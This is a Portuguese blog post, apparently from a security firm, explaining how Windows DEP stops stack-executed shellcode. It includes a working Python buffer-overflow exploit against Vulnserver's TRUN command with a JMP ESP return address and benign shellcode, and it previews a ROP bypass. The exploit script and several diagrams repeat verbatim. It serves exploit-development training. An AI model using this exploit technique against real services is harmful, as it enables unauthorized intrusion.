Índice

Título
Índice
Índice
Título

Ataques

Compreendendo a Prevenção de Execução de Dados (DEP): vamos proteger a pilha (stack)

cover-understanding-dep
Andres Roldan

VP of Hacking

5 min

Em publicações anteriores no blog, escrevemos diversos artigos sobre o desenvolvimento de exploits para Windows — a maioria deles voltados ao Vulnserver, um servidor projetado para ser vulnerável (VbD, na sigla em inglês) que, como se pode imaginar, foi criado justamente para esse nobre propósito. Também produzimos artigos sobre a criação de exploits para o QuickZIP e o MiTec Net Scanner. Todos esses exploits baseavam-se na possibilidade de executar instruções gravadas na pilha (stack) do processo.

No entanto, as CPUs modernas contam com um mecanismo que permite ao sistema operacional impedir esse tipo de ação.

Neste artigo, apresentaremos essa proteção e, em publicações futuras, exploraremos uma técnica para contorná-la, conhecida como ROP (Return-Oriented Programming).

Bit No-Execute

A proteção presente nas CPUs é conhecida como bit NX (No-Execute). O sistema operacional utiliza esse recurso para marcar determinadas áreas da memória (notadamente a pilha, ou stack) como não executáveis, prevenindo, assim, explorações comuns baseadas em estouro de buffer (buffer overflow), como as que utilizamos até o momento. Vamos esclarecer isso.

Na arquitetura x86, quando uma função é chamada, um quadro de função (function frame) é criado na pilha. A seguir, apresentamos uma disposição típica de um quadro de função na memória:

Quadro de função comum na pilha.

.____________._____________._____________._____________._________________.
   vuln_var     Saved EBP     Saved EIP     Func args     Rest of stack
.____________._____________._____________._____________._________________.
   vuln_var     Saved EBP     Saved EIP     Func args     Rest of stack
.____________._____________._____________._____________._________________.
   vuln_var     Saved EBP     Saved EIP     Func args     Rest of stack
.____________._____________._____________._____________._________________.
   vuln_var     Saved EBP     Saved EIP     Func args     Rest of stack

Em um estouro de buffer (buffer overflow) simples, ao escrevermos além do tamanho de vuln_var, podemos sobrescrever qualquer dado localizado abaixo na pilha (stack), incluindo o Saved EBP e o Saved EIP. Quando a função vulnerável retorna, ela recupera o valor de Saved EIP da pilha e o utiliza como o próximo ponteiro de instrução. É por isso que, geralmente, sobrescrevemos o Saved EIP com um ponteiro para uma instrução JMP ESP, o que nos permite redirecionar a execução de volta para a pilha, onde inserimos o shellcode.

Exemplo de vuln_var AAAAAAAAAAAA AAAAAAAAAAAAA <pointer to JMP ESP>    Shellcode
.____________._____________.____________________._______________.
   vuln_var     Saved EBP         Saved EIP       Rest of stack após um estouro de buffer

Exemplo de vuln_var AAAAAAAAAAAA AAAAAAAAAAAAA <pointer to JMP ESP>    Shellcode
.____________._____________.____________________._______________.
   vuln_var     Saved EBP         Saved EIP       Rest of stack após um estouro de buffer

Exemplo de vuln_var AAAAAAAAAAAA AAAAAAAAAAAAA <pointer to JMP ESP>    Shellcode
.____________._____________.____________________._______________.
   vuln_var     Saved EBP         Saved EIP       Rest of stack após um estouro de buffer

Exemplo de vuln_var AAAAAAAAAAAA AAAAAAAAAAAAA <pointer to JMP ESP>    Shellcode
.____________._____________.____________________._______________.
   vuln_var     Saved EBP         Saved EIP       Rest of stack após um estouro de buffer

Por exemplo, vamos dar uma olhada nesta exploração:

#!/usr/bin/env python3
#
## Simple DEP check

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 625011AF   .  FFE4                  JMP ESP
    struct.pack('<L', 0x625011AF) +
    b'\x31\xc0' +       # xor eax,eax
    b'\x04\x08' +       # add al,0x8
    b'\x90' +           # nop
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
## Simple DEP check

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 625011AF   .  FFE4                  JMP ESP
    struct.pack('<L', 0x625011AF) +
    b'\x31\xc0' +       # xor eax,eax
    b'\x04\x08' +       # add al,0x8
    b'\x90' +           # nop
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
## Simple DEP check

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 625011AF   .  FFE4                  JMP ESP
    struct.pack('<L', 0x625011AF) +
    b'\x31\xc0' +       # xor eax,eax
    b'\x04\x08' +       # add al,0x8
    b'\x90' +           # nop
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
## Simple DEP check

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 625011AF   .  FFE4                  JMP ESP
    struct.pack('<L', 0x625011AF) +
    b'\x31\xc0' +       # xor eax,eax
    b'\x04\x08' +       # add al,0x8
    b'\x90' +           # nop
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

Este é um exploit simples que tira proveito de uma vulnerabilidade de estouro de buffer (buffer overflow) no comando TRUN do Vulnserver. Aqui você pode conferir a análise completa de como encontrar essa vulnerabilidade utilizando fuzzing e, aqui, utilizando engenharia reversa.

Esta versão do exploit causará um estouro na variável vulnerável da seguinte forma:

Exemplo de vuln_var após o estouro.

 AAAAAAAAAAAA AAAAAAAAAAAAA \xaf\x11\x50\x62  \x31\xc0\x04\x08\x90 CCCCCCCCCCC
.____________._____________._________________.____________________.___________.
   vuln_var     Saved EBP       Saved EIP          Shellcode       Fill buffer
 AAAAAAAAAAAA AAAAAAAAAAAAA \xaf\x11\x50\x62  \x31\xc0\x04\x08\x90 CCCCCCCCCCC
.____________._____________._________________.____________________.___________.
   vuln_var     Saved EBP       Saved EIP          Shellcode       Fill buffer
 AAAAAAAAAAAA AAAAAAAAAAAAA \xaf\x11\x50\x62  \x31\xc0\x04\x08\x90 CCCCCCCCCCC
.____________._____________._________________.____________________.___________.
   vuln_var     Saved EBP       Saved EIP          Shellcode       Fill buffer
 AAAAAAAAAAAA AAAAAAAAAAAAA \xaf\x11\x50\x62  \x31\xc0\x04\x08\x90 CCCCCCCCCCC
.____________._____________._________________.____________________.___________.
   vuln_var     Saved EBP       Saved EIP          Shellcode       Fill buffer

Onde:

  • 2.006 caracteres 'A' são adicionados para provocar o estouro (overflow).

  • 0x625011AF é um ponteiro para uma instrução JMP ESP e será colocado no Saved EIP (EIP salvo).

  • Quando a função vulnerável retorna, ela executa a instrução apontada pelo Saved EIP, que contém a instrução JMP ESP.

  • Com isso, o fluxo de execução é redirecionado para a pilha (stack), onde o shellcode foi inserido.

  • O shellcode, neste caso, executará três instruções arbitrárias:

  • xor eax, eax → Zera o registrador EAX

  • add al, 0x8 → Define EAX = 0x00000008

  • nop → Não faz nada

Vamos ver isso em ação:


Execution flow

Como você pode ver, conseguimos executar as instruções do nosso shellcode — que havíamos colocado na stack (pilha) — conforme o esperado.

Habilitando o DEP

Nas versões modernas do Windows, o bit NX da CPU pode ser aproveitado por meio de um recurso chamado Data Execution Prevention (Prevenção de Execução de Dados), ou DEP. Uma aplicação pode ser compilada com a flag /NXCOMPAT para habilitar o DEP nela. Além disso, é possível utilizar o editbin.exe /NXCOMPAT em um arquivo .exe para habilitar esse recurso em um arquivo que já foi compilado.

Em um depurador (debugger), podemos verificar se um executável possui essa flag habilitada:

NXCompat

Você também pode habilitar o DEP em todo o sistema, o que forçará o uso do DEP em todos os aplicativos, incluindo aqueles compilados sem a opção /NXCOMPAT. Para fazer isso, siga as instruções abaixo:

  • Pressione a tecla Windows e pesquise por "Exibir configurações avançadas do sistema".

  • Na janela que for exibida, clique na aba "Avançado":

System Properties, Advanced tab

Em seguida, em Desempenho, clique em Configurações.

Vá para a aba Prevenção de Execução de Dados:

Data Execution Prevention
  • A configuração padrão é "Ativar DEP para programas essenciais do Windows...", mas, para ativá-la para todos os aplicativos, você deve selecionar "Ativar DEP para todos os programas...".

  • Aplique a alteração e reinicie o computador.

AVISO: Se você alterar essa configuração enquanto o BitLocker estiver ativado, será solicitada a chave de recuperação do BitLocker após a reinicialização. Caso não possua essa informação, não altere o valor do DEP; do contrário, o sistema se tornará inutilizável.

Com isso configurado, podemos testar nosso exploit novamente para verificar se o DEP realmente impede a execução das instruções do nosso shellcode.

NOTA: Abordaremos o DEP baseado em hardware, que utiliza o bit NX da CPU para marcar regiões de memória como não executáveis. O DEP baseado em software apenas previne estouros (overflows) baseados em SEH, o que está fora do escopo deste artigo. Você pode obter mais informações sobre exploits baseados em SEH aqui.

Executando shellcode com o DEP ativado

Agora, após ativar o DEP em todo o sistema, vamos executar nosso exploit novamente:

Executando shellcode com DEP habilitado

Agora, após habilitar o DEP em todo o sistema, vamos executar nosso exploit novamente:

Exploit executed again

Várias coisas aconteceram:

  • O estouro (overflow) ocorre.

  • O valor salvo do EIP foi sobrescrito com sucesso pelo ponteiro para JMP ESP.

  • A instrução JMP ESP é executada e o fluxo de execução é redirecionado para a pilha (stack), onde nosso shellcode está posicionado.

No entanto, ao tentar executar a primeira instrução do shellcode (xor eax,eax), uma exceção de violação de acesso (Access violation) é disparada; isso significa que houve uma tentativa de executar código em uma região de memória marcada como não executável. O DEP funcionou.

Burlando o DEP

Atualmente, não podemos executar instruções colocadas na pilha (stack), mas controlamos o fluxo de execução da aplicação. No entanto, a pilha é um local onde a aplicação (e, consequentemente, o exploit) pode ler e gravar dados; ao controlar ambos — o fluxo de execução e a pilha —, podemos realizar feitos notáveis.

No exemplo anterior, não conseguimos executar as instruções contidas no shellcode, mas fomos capazes de executar uma única instrução: JMP ESP. Fizemos isso posicionando o ponteiro para essa instrução no local correto.

Podemos utilizar essa técnica para executar código arbitrário, sem precisar executar uma única instrução diretamente na pilha. Apresentamos, então, a Return-Oriented Programming (Programação Orientada a Retornos).

Conclusões

Este artigo apresenta um mecanismo criado para impedir a exploração de vulnerabilidades do tipo buffer overflow. O DEP, sem dúvida, torna ineficazes os exploits comuns. No entanto, no próximo artigo, veremos como contornar o DEP utilizando Return-Oriented Programming (ROP) e, posteriormente, poderemos criar um exploit totalmente funcional capaz de estabelecer um reverse TCP shell em uma aplicação protegida pelo DEP.

Na Fluid Attacks, analisamos medidas de segurança em busca de fragilidades. Realizamos esse trabalho tanto no âmbito da pesquisa quanto por meio de operações de red teaming para empresas de desenvolvimento de software. No momento, oferecemos um período de teste gratuito de 21 dias para nossa ferramenta de varredura de vulnerabilidades. Você pode, a qualquer momento, contratar serviços adicionais, como testes de segurança manuais — a exemplo de testes de intrusão (penetration testing) — conduzidos por nossos especialistas.

Comece agora com o PTaaS da Fluid Attacks

Tags:

treinamento

exploit

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Reduza o risco sem atrasar suas entregas

Reduza o risco sem atrasar suas entregas

Resultados rápidos e precisos a partir de um único programa de segurança contínuo impulsionado por IA, scanners e pentesters.

Resultados rápidos e precisos a partir de um único programa de segurança contínuo impulsionado por IA, scanners e pentesters.